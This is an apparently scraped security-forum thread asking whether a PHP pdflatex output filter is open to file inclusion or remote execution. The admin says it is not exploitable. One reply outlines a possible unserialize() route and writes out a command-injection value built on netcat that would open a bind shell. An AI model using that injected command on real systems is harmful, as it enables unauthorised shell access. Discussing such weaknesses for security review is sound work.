Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 10, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 230
Members: 0
Total: 230
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> this file is vuln????
Post new topic  Reply to topic View previous topic :: View next topic 
this file is vuln????
PostPosted: Thu Jul 01, 2010 12:22 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Hey i m wonderin' if the file is vulnerable or no, With RFI or lfi,remote execution..Look please and tell...


Code:
<?PHP


// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

class patTemplate_OutputFilter_PdfLatex extends patTemplate_OutputFilter
{
/**
* filter name
*
* This has to be set in the final
* filter classes.
*
* @var string
*/
var $_name = 'PdfLatex';

var $_params = array(
'cacheFolder' => './'
);

/**
* tidy the data
*
* @access public
* @param string data
* @return string compressed data
*/
function apply( $data )
{
$cacheFolder = $this->getParam('cacheFolder');
$texFile = tempnam($cacheFolder, 'pt_tex_');
$fp = fopen($texFile, 'w');
fwrite($fp, $data);
fclose($fp);

$command = 'pdflatex '.$texFile;
exec($command);
exec($command);

$pdf = $texFile . '.pdf';
$pdf = file_get_contents($pdf);

return $pdf;
}
}
?>
View user's profile Send private message Visit poster's website
PostPosted: Thu Jul 01, 2010 7:11 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




file_get_contents() and exec() both are using string parameter coming from php function tempnam:

http://php.net/manual/en/function.tempnam.php

And $cacheFolder is hardcoded, so there is nothing to exploit.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Jul 02, 2010 5:06 pm Reply with quote
Xuphanc
Beginner
Beginner
 
Joined: Jul 02, 2010
Posts: 1




If you find a User-tainted UNSERIALIZE() you can change the $cacheFolder to inject OS commands. It depends on your OS if non-existing dirs like

Code:
Foo;nc -l -p7777 -e `which bash`


Are excepted by tempnam(), You'll have to check. Smile

_________________
I asked God for a bike, but I know God doesn´t work that way. So I stole a bike and asked for forgiveness.
View user's profile Send private message
this file is vuln????
  www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.085 Seconds